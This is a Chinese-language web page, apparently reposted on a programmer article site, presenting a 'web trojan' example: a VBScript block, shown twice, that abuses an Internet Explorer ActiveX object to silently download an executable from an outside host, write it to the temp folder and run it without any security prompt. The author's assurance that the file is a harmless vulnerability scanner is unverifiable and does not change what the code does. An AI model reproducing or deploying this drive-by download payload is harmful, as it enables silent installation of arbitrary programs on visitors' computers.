网页木马代码例子(里面的文件是漏洞扫描器,呵呵)
程序员文章站
2023-11-07 11:40:28
对于经常上网冲浪的朋友对于网页木马一定不会陌生,打开某个网站,莫名其妙的运行了某个木马,虽然在"internet选项"里有"安全"设置,但是下面的代码就不会弹出任何信息就直...
对于经常上网冲浪的朋友对于网页木马一定不会陌生,打开某个网站,莫名其妙的运行了某个木马,虽然在"internet选项"里有"安全"设置,但是下面的代码就不会弹出任何信息就直接运行了程序,不信,follow me!
(提示: 只是了解一下技术和方法,千万别搞破坏,yexj00.exe是一个windows2000 漏洞扫描器和查漏补缺用的,不是病毒或木马,放心运行。)
<script language="vbscript">
on error resume next
dl = "<a href="http://yexj00.5dm.cn/soft/yexj00.exe" target="_blank">http://yexj00.5dm.cn/soft/yexj00.exe</a>"
set ye=document.createelement("object")
ystr="clsid:bd96c556-65a3-11d0-983a-00c04fc29e36"
ye.setattribute "classid",ystr
set x = ye.createobject("microsoft.xmlhttp","")
set s = ye.createobject("adodb.stream","")
s.type = 1
x.open "get", dl, false
x.send
fname="win2000漏洞扫描器.exe"
set f = ye.createobject("scripting.filesystemobject","")
set tmp = f.getspecialfolder(2)
fname= f.buildpath(tmp,fname)
s.open
s.write x.responsebody
s.savetofile fname,2
s.close
set a=ye.createobject("shell.application","")
a.shellexecute fname,"","", "open",1
</script>
(提示: 只是了解一下技术和方法,千万别搞破坏,yexj00.exe是一个windows2000 漏洞扫描器和查漏补缺用的,不是病毒或木马,放心运行。)
复制代码 代码如下:
<script language="vbscript">
on error resume next
dl = "<a href="http://yexj00.5dm.cn/soft/yexj00.exe" target="_blank">http://yexj00.5dm.cn/soft/yexj00.exe</a>"
set ye=document.createelement("object")
ystr="clsid:bd96c556-65a3-11d0-983a-00c04fc29e36"
ye.setattribute "classid",ystr
set x = ye.createobject("microsoft.xmlhttp","")
set s = ye.createobject("adodb.stream","")
s.type = 1
x.open "get", dl, false
x.send
fname="win2000漏洞扫描器.exe"
set f = ye.createobject("scripting.filesystemobject","")
set tmp = f.getspecialfolder(2)
fname= f.buildpath(tmp,fname)
s.open
s.write x.responsebody
s.savetofile fname,2
s.close
set a=ye.createobject("shell.application","")
a.shellexecute fname,"","", "open",1
</script>
上一篇: 九种食物去除尴尬口臭吃什么能好
下一篇: 如何调理水痘 水痘应该怎么改善